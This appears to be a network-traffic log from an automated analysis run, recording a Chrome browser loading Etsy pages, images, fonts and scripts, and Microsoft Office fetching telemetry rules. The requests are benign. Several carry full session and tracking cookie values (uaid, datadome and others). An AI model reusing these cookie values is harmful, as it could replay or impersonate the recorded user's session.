Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /ij/213d0d/6404024913/ij_680x540.6404024913_cpf3id74.jpg?version=0 HTTP/1.1Host: i.etsystatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /8505634/r/il/5b99c1/4275912553/il_600x600.4275912553_se3v.jpg HTTP/1.1Host: i.etsystatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /11238098/c/1141/1141/590/707/il/1796b6/4720166203/il_200x200.4720166203_lcfk.jpg HTTP/1.1Host: i.etsystatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /23824347/r/il/67d7f1/5200553974/il_300x300.5200553974_4yjs.jpg HTTP/1.1Host: i.etsystatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /16258681/c/2250/2250/583/0/il/f52b7b/3045823387/il_300x300.3045823387_t4nq.jpg HTTP/1.1Host: i.etsystatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /24512514/r/il/0bd67a/6333925668/il_300x300.6333925668_j4kz.jpg HTTP/1.1Host: i.etsystatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /11238098/c/1141/1141/590/707/il/1796b6/4720166203/il_200x200.4720166203_lcfk.jpg HTTP/1.1Host: i.etsystatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/type/Graphik-Regular-Web.woff2 HTTP/1.1Host: www.etsy.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.etsy.comrtt: 150sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-platform-version: "10.0.0"dpr: 1downlink: 7.4sec-ch-ua-bitness: "64"sec-ch-dpr: 1ect: 4gsec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.etsy.com/dac/site-chrome/components/components.defebf5b6f4bba,contentful-sitewide-hum.af079ccbcc7694,site-chrome/header/header.507e1bce5b547a,__modules__CategoryNav__src__/Views/ButtonMenu/Menu.8d961c48ba074a,__modules__CategoryNav__src__/Views/DropdownMenu/Menu.11b4ee69983dd8,site-chrome/footer/footer.11b4ee69983dd8,gdpr/settings-overlay.11b4ee69983dd8.css?variant=sasquatchAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uaid=VhPVTdyoxIdSBpwQ-nwVejvjR-NjZACCdF32_TC6Wqk0MTNFyUopwzXFydNc19_c0jAgPSkp0sm_yrw8wsLQOyXXT6mWAQA.; user_prefs=tEyJwdCEHIoCFONBbt-kEpuyXlZjZACCdF32_TA6Wik02EVJJ680J0dHKTVPNzRYSUcJRIBFjCAULiKWAQA.; fve=1731004351.0; last_browse_page=https%3A%2F%2Fwww.etsy.com%2F; _fbp=fb.1.1731004351826.5512715151171871; exp_ebid=m=Ww1bBxR%2BnFnkNsgrcgtu3ACYf2Jkq8EqhuTuaHE1mRU%3D,v=F5ac_2y--gqWcQVneon3Kejhi6tZ9zGY; datadome=z6Ckpeljc2g0bTOw4Ks0QynM6lGPX2TFBMn60FoKMYIbOyveGNzSOJjnAcRIwNIYMXBsEqe7OHQFlHTZMRur9m4FcZJGt7o6huGgSpnvPaGksMklgPz2Oe6BZX81W5V7
Source: global traffic	HTTP traffic detected: GET /assets/type/Graphik-Medium-Web.woff2 HTTP/1.1Host: www.etsy.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.etsy.comrtt: 150sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-platform-version: "10.0.0"dpr: 1downlink: 7.4sec-ch-ua-bitness: "64"sec-ch-dpr: 1ect: 4gsec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.etsy.com/dac/site-chrome/components/components.defebf5b6f4bba,contentful-sitewide-hum.af079ccbcc7694,site-chrome/header/header.507e1bce5b547a,__modules__CategoryNav__src__/Views/ButtonMenu/Menu.8d961c48ba074a,__modules__CategoryNav__src__/Views/DropdownMenu/Menu.11b4ee69983dd8,site-chrome/footer/footer.11b4ee69983dd8,gdpr/settings-overlay.11b4ee69983dd8.css?variant=sasquatchAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uaid=VhPVTdyoxIdSBpwQ-nwVejvjR-NjZACCdF32_TC6Wqk0MTNFyUopwzXFydNc19_c0jAgPSkp0sm_yrw8wsLQOyXXT6mWAQA.; user_prefs=tEyJwdCEHIoCFONBbt-kEpuyXlZjZACCdF32_TA6Wik02EVJJ680J0dHKTVPNzRYSUcJRIBFjCAULiKWAQA.; fve=1731004351.0; last_browse_page=https%3A%2F%2Fwww.etsy.com%2F; _fbp=fb.1.1731004351826.5512715151171871; exp_ebid=m=Ww1bBxR%2BnFnkNsgrcgtu3ACYf2Jkq8EqhuTuaHE1mRU%3D,v=F5ac_2y--gqWcQVneon3Kejhi6tZ9zGY; datadome=z6Ckpeljc2g0bTOw4Ks0QynM6lGPX2TFBMn60FoKMYIbOyveGNzSOJjnAcRIwNIYMXBsEqe7OHQFlHTZMRur9m4FcZJGt7o6huGgSpnvPaGksMklgPz2Oe6BZX81W5V7
Source: global traffic	HTTP traffic detected: GET /assets/type/Guardian-EgypTT-Light.woff2 HTTP/1.1Host: www.etsy.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.etsy.comrtt: 150sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-platform-version: "10.0.0"dpr: 1downlink: 7.4sec-ch-ua-bitness: "64"sec-ch-dpr: 1ect: 4gsec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.etsy.com/dac/site-chrome/components/components.defebf5b6f4bba,contentful-sitewide-hum.af079ccbcc7694,site-chrome/header/header.507e1bce5b547a,__modules__CategoryNav__src__/Views/ButtonMenu/Menu.8d961c48ba074a,__modules__CategoryNav__src__/Views/DropdownMenu/Menu.11b4ee69983dd8,site-chrome/footer/footer.11b4ee69983dd8,gdpr/settings-overlay.11b4ee69983dd8.css?variant=sasquatchAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uaid=VhPVTdyoxIdSBpwQ-nwVejvjR-NjZACCdF32_TC6Wqk0MTNFyUopwzXFydNc19_c0jAgPSkp0sm_yrw8wsLQOyXXT6mWAQA.; user_prefs=tEyJwdCEHIoCFONBbt-kEpuyXlZjZACCdF32_TA6Wik02EVJJ680J0dHKTVPNzRYSUcJRIBFjCAULiKWAQA.; fve=1731004351.0; last_browse_page=https%3A%2F%2Fwww.etsy.com%2F; _fbp=fb.1.1731004351826.5512715151171871; exp_ebid=m=Ww1bBxR%2BnFnkNsgrcgtu3ACYf2Jkq8EqhuTuaHE1mRU%3D,v=F5ac_2y--gqWcQVneon3Kejhi6tZ9zGY; datadome=z6Ckpeljc2g0bTOw4Ks0QynM6lGPX2TFBMn60FoKMYIbOyveGNzSOJjnAcRIwNIYMXBsEqe7OHQFlHTZMRur9m4FcZJGt7o6huGgSpnvPaGksMklgPz2Oe6BZX81W5V7
Source: global traffic	HTTP traffic detected: GET /paula/v3/polyfill.min.js?etsy-v=v5&flags=gated&features=AbortController%2CDOMTokenList.prototype.@@iterator%2CDOMTokenList.prototype.forEach%2CIntersectionObserver%2CIntersectionObserverEntry%2CNodeList.prototype.@@iterator%2CNodeList.prototype.forEach%2CObject.preventExtensions%2CString.prototype.anchor%2CString.raw%2Cdefault%2Ces2015%2Ces2016%2Ces2017%2Ces2018%2Ces2019%2Ces2020%2Ces2021%2Ces2022%2Cfetch%2CgetComputedStyle%2CmatchMedia%2Cperformance.now HTTP/1.1Host: www.etsy.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"rtt: 150sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-platform-version: "10.0.0"dpr: 1downlink: 1.45sec-ch-ua-bitness: "64"sec-ch-dpr: 1ect: 4gsec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uaid=VhPVTdyoxIdSBpwQ-nwVejvjR-NjZACCdF32_TC6Wqk0MTNFyUopwzXFydNc19_c0jAgPSkp0sm_yrw8wsLQOyXXT6mWAQA.; user_prefs=tEyJwdCEHIoCFONBbt-kEpuyXlZjZACCdF32_TA6Wik02EVJJ680J0dHKTVPNzRYSUcJRIBFjCAULiKWAQA.; fve=1731004351.0; last_browse_page=https%3A%2F%2Fwww.etsy.com%2F; _fbp=fb.1.1731004351826.5512715151171871; exp_ebid=m=Ww1bBxR%2BnFnkNsgrcgtu3ACYf2Jkq8EqhuTuaHE1mRU%3D,v=F5ac_2y--gqWcQVneon3Kejhi6tZ9zGY; datadome=z6Ckpeljc2g0bTOw4Ks0QynM6lGPX2TFBMn60FoKMYIbOyveGNzSOJjnAcRIwNIYMXBsEqe7OHQFlHTZMRur9m4FcZJGt7o6huGgSpnvPaGksMklgPz2Oe6BZX81W5V7
Source: global traffic	HTTP traffic detected: GET /21204286/c/1284/1284/0/420/il/531e9f/5248615643/il_300x300.5248615643_jv8f.jpg HTTP/1.1Host: i.etsystatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ac/evergreenVendor/js/en-US/vendor_bundle.051a2557fd322e046abd.js HTTP/1.1Host: www.etsy.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"rtt: 150sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-platform-version: "10.0.0"dpr: 1downlink: 1.45sec-ch-ua-bitness: "64"sec-ch-dpr: 1ect: 4gsec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uaid=VhPVTdyoxIdSBpwQ-nwVejvjR-NjZACCdF32_TC6Wqk0MTNFyUopwzXFydNc19_c0jAgPSkp0sm_yrw8wsLQOyXXT6mWAQA.; user_prefs=tEyJwdCEHIoCFONBbt-kEpuyXlZjZACCdF32_TA6Wik02EVJJ680J0dHKTVPNzRYSUcJRIBFjCAULiKWAQA.; fve=1731004351.0; last_browse_page=https%3A%2F%2Fwww.etsy.com%2F; _fbp=fb.1.1731004351826.5512715151171871; exp_ebid=m=Ww1bBxR%2BnFnkNsgrcgtu3ACYf2Jkq8EqhuTuaHE1mRU%3D,v=F5ac_2y--gqWcQVneon3Kejhi6tZ9zGY; datadome=z6Ckpeljc2g0bTOw4Ks0QynM6lGPX2TFBMn60FoKMYIbOyveGNzSOJjnAcRIwNIYMXBsEqe7OHQFlHTZMRur9m4FcZJGt7o6huGgSpnvPaGksMklgPz2Oe6BZX81W5V7
Source: global traffic	HTTP traffic detected: GET /ac/evergreenVendor/js/en-US/etsy_libs.6f2bc648a336d3e52761.js HTTP/1.1Host: www.etsy.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"rtt: 150sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-platform-version: "10.0.0"dpr: 1downlink: 1.45sec-ch-ua-bitness: "64"sec-ch-dpr: 1ect: 4gsec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uaid=VhPVTdyoxIdSBpwQ-nwVejvjR-NjZACCdF32_TC6Wqk0MTNFyUopwzXFydNc19_c0jAgPSkp0sm_yrw8wsLQOyXXT6mWAQA.; user_prefs=tEyJwdCEHIoCFONBbt-kEpuyXlZjZACCdF32_TA6Wik02EVJJ680J0dHKTVPNzRYSUcJRIBFjCAULiKWAQA.; fve=1731004351.0; last_browse_page=https%3A%2F%2Fwww.etsy.com%2F; _fbp=fb.1.1731004351826.5512715151171871; exp_ebid=m=Ww1bBxR%2BnFnkNsgrcgtu3ACYf2Jkq8EqhuTuaHE1mRU%3D,v=F5ac_2y--gqWcQVneon3Kejhi6tZ9zGY; datadome=z6Ckpeljc2g0bTOw4Ks0QynM6lGPX2TFBMn60FoKMYIbOyveGNzSOJjnAcRIwNIYMXBsEqe7OHQFlHTZMRur9m4FcZJGt7o6huGgSpnvPaGksMklgPz2Oe6BZX81W5V7
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /ij/213d0d/6404024913/ij_680x540.6404024913_cpf3id74.jpg?version=0 HTTP/1.1Host: i.etsystatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /8505634/r/il/5b99c1/4275912553/il_600x600.4275912553_se3v.jpg HTTP/1.1Host: i.etsystatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /25168585/c/1800/1800/298/0/il/e0da11/5460954945/il_300x300.5460954945_9tu4.jpg HTTP/1.1Host: i.etsystatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /20059860/r/il/7f8ebb/3254190601/il_300x300.3254190601_2ekg.jpg HTTP/1.1Host: i.etsystatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /37007386/c/1708/1708/159/690/il/66e5b9/4728653338/il_200x200.4728653338_jswh.jpg HTTP/1.1Host: i.etsystatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /23824347/r/il/67d7f1/5200553974/il_300x300.5200553974_4yjs.jpg HTTP/1.1Host: i.etsystatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /24512514/r/il/0bd67a/6333925668/il_300x300.6333925668_j4kz.jpg HTTP/1.1Host: i.etsystatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /16258681/c/2250/2250/583/0/il/f52b7b/3045823387/il_300x300.3045823387_t4nq.jpg HTTP/1.1Host: i.etsystatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /5316916/r/il/b079a8/4370835564/il_600x600.4370835564_i96i.jpg HTTP/1.1Host: i.etsystatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /16064614/c/1923/1923/29/288/il/82f9a0/5874767076/il_200x200.5874767076_l73m.jpg HTTP/1.1Host: i.etsystatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ac/evergreenVendor/js/en-US/app-shell/globals/index.928893d8732f1f834782.js HTTP/1.1Host: www.etsy.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"rtt: 150sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-platform-version: "10.0.0"dpr: 1downlink: 1.45sec-ch-ua-bitness: "64"sec-ch-dpr: 1ect: 4gsec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uaid=VhPVTdyoxIdSBpwQ-nwVejvjR-NjZACCdF32_TC6Wqk0MTNFyUopwzXFydNc19_c0jAgPSkp0sm_yrw8wsLQOyXXT6mWAQA.; user_prefs=tEyJwdCEHIoCFONBbt-kEpuyXlZjZACCdF32_TA6Wik02EVJJ680J0dHKTVPNzRYSUcJRIBFjCAULiKWAQA.; fve=1731004351.0; last_browse_page=https%3A%2F%2Fwww.etsy.com%2F; _fbp=fb.1.1731004351826.5512715151171871; exp_ebid=m=Ww1bBxR%2BnFnkNsgrcgtu3ACYf2Jkq8EqhuTuaHE1mRU%3D,v=F5ac_2y--gqWcQVneon3Kejhi6tZ9zGY; datadome=z6Ckpeljc2g0bTOw4Ks0QynM6lGPX2TFBMn60FoKMYIbOyveGNzSOJjnAcRIwNIYMXBsEqe7OHQFlHTZMRur9m4FcZJGt7o6huGgSpnvPaGksMklgPz2Oe6BZX81W5V7
